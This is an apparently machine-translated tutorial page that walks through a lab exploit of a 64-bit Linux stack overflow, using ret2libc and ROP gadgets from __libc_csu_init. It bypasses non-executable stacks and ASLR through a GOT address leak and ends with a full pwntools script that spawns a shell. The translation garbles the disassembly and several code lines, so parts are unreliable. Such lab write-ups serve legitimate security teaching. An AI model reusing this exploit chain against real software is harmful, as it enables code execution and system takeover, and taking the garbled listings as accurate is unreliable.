In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)06/01 Report--
I. Experimental requirements
Stack overflow + ret2libc ROP
operating system: Ubuntu 16.0464bit
security mechanism: non-executable bit protection, ASLR (memory address randomization)
Turn on the security mechanism to ensure that × × can bypass the above security mechanism, take advantage of vulnerabilities to complete attack, and achieve the basic goal: call system ("/ bin/sh") and open shell.
II. Overview of the experiment
Ret2libc (return-into-libc) is a code reuse technology using buffer overflow, mainly by overwriting the return address (EIP) of the stack frame, making it return to the library function in the system, and using the existing functions in the library function to implement attack, rather than directly locating to the injected shellcode.
There are mainly stack non-executable and ASLR protection mechanisms for buffer overflow in Linux system. ASLR can randomize the address of the heap, stack, code and shared library of the process every time the program runs, which greatly increases the difficulty of locating. In addition, in a Linux 64-bit system, parameters are passed between functions not by stack pressing, but by registers. Therefore, in order to implement attack operations in a 64-bit Ubuntu system, in addition to bypassing the above two security mechanisms, you also need to control the registers used to pass parameters. There are three key points in this attack:
1) stack non-executable → code reuse (ret2libc calls system functions)
2) ASLR → obtains the address of the system function through the plt and got tables
3) 64-bit system transfers parameters in register mode, → controls registers through ROP
III. Experimental environment
Ubuntu desktop 16.04 LTS amd64
Gcc Gdb Python PwnTool
Four. experimental content
4.1 vulnerability program
The vulnerability program vul.c code is as follows. The main function reads "Hello, World" into the standard output and calls the vulnerable_function () function. In the vulnerable_function () function, a 128byte buf is requested, and read () is called to read standard input into buf without boundary checking. This is where the vulnerability lies.
Open sudo sysctl-w kernel.randomize_va_space=2 to randomize the address space
Gcc compiles the vulnerable program, which explicitly indicates-z noexecstack. The normal running effect is shown below:
4.2 attack vulnerability Program
4.2.1 get the location of the overflow point
In order to locate the overflow point correctly, construct the following txt file.
Running in gdb debugging found overflow, because the memory address used by the program cannot be greater than 0x00007fffffffffff, otherwise an exception will be thrown, so the program stops in the vulnerable_function () function. Although PC cannot jump, ret is equivalent to the "pop RIP" instruction, so you only need to look at the number at the top of the stack to know the address of the PC jump. You can see that the data at the top of the stack is 0x3765413665413565, or e5Ae6Ae7, which is 137 bytes in the file, so the overflow point is 136.
4.2.2 find gadgets
The first six parameters in 64-bit Ubuntu system are stored in RDI, RSI, RDX, RCX, R8 and R9 registers in turn. If there are more parameters, they are saved on the stack. There are only two functions read () and write () in the vulnerability program, and there are no other auxiliary components. In order to control the registers that pass parameters, the general gadgets can be extracted from the program initialization function.
Enter objdump-d. / vul to observe the _ libc_csu_init () function.
There are two accessories that can be used:
Accessory 1
4005f0: 4C 89 ea mov% R13Magi% RDX 4005f3: 4c 89 f6 mov% R14 ff mov% 4005f6: 44 89 ff mov% R15d 4005f9: 41 ff 14 dc callq * (% R12 4005fd% RBX 8) 4005fd: 48 83 c3 01 add $0x1 eb cmp% 400601: 48 39 eb cmp% RBP % RBX 400604: 75 ea jne 4005f0
Using accessory 1, if the RBX is set to 0Magi R12, you can control it, and you can jump to any address to execute the code through callq* (% R12Magi% RBX Magi 8). After adding 1 to the contents of the RBX register, it is determined that if RBP equals RBX, the first code execution will continue. To make the values of RBP and RBX equal, you can set the value of RBP to 1.
Accessory 2
400606: 48 83 c4 08 add $0x8 % rsp 40060a: 5b pop% RBX 40060b: 5d pop% RBP 40060c: 41 5c pop% R12 40060e: 41 5d pop% R13 400610: 41 5e pop% R14 400612: 41 5f pop% R15 400614: C3 retq
With accessory 2, you can put the data on the stack into the specified register.
By using these two accessories and arranging the data in the stack, we can use accessory 2 to control the value of the RBX,RBP,R12,R13,R14,R15 register, and then use accessory 1 to control the RDX,RSI,EDI register and call the function of the address stored in register R12.
4.2.3 obtain the address of the system function by offset
Because the ASLR mechanism randomizes the starting address of the stack and shared library files, while the offset between the internal data is constant, we can first leak out the addresses of some libc.so functions in memory, and then use the leaked function addresses to calculate the address of the system () function according to the offset.
The functions write () and read () are called in the vulnerability program vul.c. You can output the got address of write through write (), and then calculate the address of libc.so in memory. In order to return to the original program and reuse the vulnerability, you need to continue to overwrite the data on the stack until the return value is overwritten as the main function of the target function.
To construct a payload1, you need to know three data: the got address of write, the offset of write and system, and the address of the main function. The first two data can be obtained using the function in pwntool, while the address of the main function can be obtained by typing objdump-d vul | grep main on the command line.
The stack structure after execution is shown in the following figure. Callq [R12 + RBX*8] is called, and RBX is 0, so the write function in R12 is called. The three parameters of write are passed through the EDI,RSI,RDX register, that is, wrtie is executed. The address of the write function is printed on the standard output screen, and the address of the system function can be calculated by the previously calculated offset. Then RBX plus 1, which is exactly equal to RBP=1, continues to execute, and since there are all zeros below, finally jump to the function main to continue execution.
4.2.4 use read () to read system () address and string "/ bin/sh" into .BSS segment
Because the parameters of the 64-bit system are not saved on the stack, but are passed through registers, and ASLR is turned on, it is necessary to find a place with a fixed address to save the parameters. The BSS section is used to hold the value of a global variable, with a fixed address, and is readable and writable. To facilitate calling the system function and passing the parameter "/ bin/sh", you can use the read () function to write it to the BSS segment with a fixed address.
To construct a payload2, you need to know two pieces of data: the got address of the read and the first address of the BSS segment. The got address of read can be obtained directly by using the method in pwntool, while the first address of BSS segment can be obtained by typing readelf-S vul | grep BSS on the command line.
The stack structure after execution is shown in the following figure, which is similar to payload1. When the read function in R12 is called, the three required parameters are passed through EDI,RSI,RDX respectively, that is, the execution of read (0MagneBSSstataddr 16), 16 bytes are read from the standard input and written into the first address of the BSS segment, these 16 bytes include the system address and the string "/ bin/sh" calculated in the previous step.
4.2.5 execute system ("/ bin/sh")
After the above two steps, the address of the system and the parameter "/ bin/sh" string required for the call have been stored in the BSS segment. The address of the BSS segment is fixed, and the payload3 call system is constructed.
The stack structure after execution is shown in the following figure. Similarly, the first address of the BSS segment is stored in R12, and the first address of the BSS segment stores the address of the system function. What is stored in R15 is the first address of BSS + 8, which stores the string "/ bin/sh". The value of R15 is assigned to EDI,EDI to pass the first parameter, that is, system ("/ bin/sh") is called.
Finally, the shell is obtained, and the running result is shown below:
Attached:
Attack Code exp.py
`#! / usr/bin/env python
From pwn import *
Elf = ELF ('vul')
Libc = ELF ('/ lib/x86_64-linux-gnu/libc.so.6')
P = process ('. / vul')
Got_write = elf.got ['write']
Print "got_write:" + hex (got_write)
Got_read = elf.got ['read']
Print "got_read:" + hex (got_read)
Off_system_addr = libc.symbols ['write']-libc.symbols [' system']
Print "off_system_addr:" + hex (off_system_addr)
Main = 0x40057a
# rdi= edi = R13, rsi = R14, rdx = R15
# write (rdi=1, rsi=write.got, rdx=4)
Payload1 = "\ x41" * 136
# pop_junk_rbx_rbp_r12_r13_r14_r15_ret
Payload1 + = p64 (0x400606) + p64 (0) + p64 (0) + p64 (1) + p64 (got_write) + p64 (8) + p64 (got_write) + p64 (1)
# mov rdx, R15; mov rsi, R14; mov edi, r13d; call qword ptr [r12+rbx8]
Payload1 + = p64 (0x4005f0)
Payload1 + = "\ x00" 56
Payload1 + = p64 (main)
P.recvuntil ("Hello, World\ n")
Print "\ n#sending payload1#\ n"
P.send (payload1)
Sleep (1)
Write_addr = U64 (p.recv (8))
Print "write_addr:" + hex (write_addr)
System_addr = write_addr-off_system_addr
Print "system_addr:" + hex (system_addr)
Bss_addr=0x601040
P.recvuntil ("Hello, World\ n")
# payload2#
# rdi= edi = R13, rsi = R14, rdx = R15
# read (rdi=0, rsi=bss_addr, rdx=16)
Payload2 = "\ x00" * 136
Payload2 + = p64 (0x400606) + p64 (0) + p64 (0) + p64 (1) + p64 (got_read) + p64 (16) + p64 (bss_addr) + p64 (0)
Payload2 + = p64 (0x4005f0)
Payload2 + = "\ x00" * 56
Payload2 + = p64 (main)
Print "\ n#sending payload2#\ n"
P.send (payload2)
Sleep (1)
P.send (p64 (system_addr))
P.send ("/ bin/sh\ 0")
Sleep (1)
P.recvuntil ("Hello, World\ n")
# payload3#
# rdi= edi = R13, rsi = R14, rdx = R15
# system (rdi = bss_addr+8 = "/ bin/sh")
Payload3 = "\ x00" * 136
Payload3 + = p64 (0x400606) + p64 (0) + p64 (0) + p64 (1) + p64 (bss_addr) + p64 (0) + p64 (0) + p64 (bss_addr+8)
Payload3 + = p64 (0x4005f0)
Payload3 + = "\ x00" * 56
Payload3 + = p64 (main)
Print "\ n#sending payload3#\ n"
Sleep (1)
P.send (payload3)
P.interactive ()
`
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.